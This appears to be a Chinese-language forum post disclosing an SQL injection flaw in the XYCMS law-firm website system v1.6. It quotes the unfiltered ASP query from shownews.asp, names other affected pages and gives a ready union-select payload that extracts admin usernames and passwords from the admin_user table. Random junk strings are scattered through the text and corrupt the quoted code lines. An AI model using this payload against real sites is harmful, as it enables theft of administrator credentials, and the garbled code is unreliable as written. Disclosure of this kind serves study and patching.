XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似

淫荡分割线
2 |# ]8 I# T3 x, U+ o8 d. L--------------------------------------------------------

审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
' k4 y+ d+ g) j3 a源码地址:http://down.chinaz.com/soft/29233.htm
; u* r1 [) _+ L  {/ D) ^% a2 ]! Q
9 i3 s8 \6 w' z. ]漏洞文件:shownews.asp
漏洞代码：7-13行


# ?0 Y$ R6 H; ?" U; q  \<%
id=request.QueryString("id")
   
+ B4 E( Q4 v: M) i) D( Q; eset snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
( @9 X. ?1 U& r6 }snews.open exec,conn,1,1
- y2 P- K8 q& d- d1 `%>
! `! y' }' G! \4 o4 |
" m9 Z$ k& o/ [3 d' P2 i
2 \: a  Z% e4 F' T. b什么过滤都没有  直造成注入
8 I' i* G) P# ^
注入点:http://127.0.0.1:99/shownews.asp?id=xx

- p& J% h$ |' C9 u1 O+ w$ ]# P其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找

2 j, d/ b1 }: W
, P$ V: a. Y8 a9 j4 `exp: union select 1,admin,password,4,5,7 from admin_user
$ _" N4 ?6 k6 X* `) }8 V​
6 G+ ^  x9 Q; V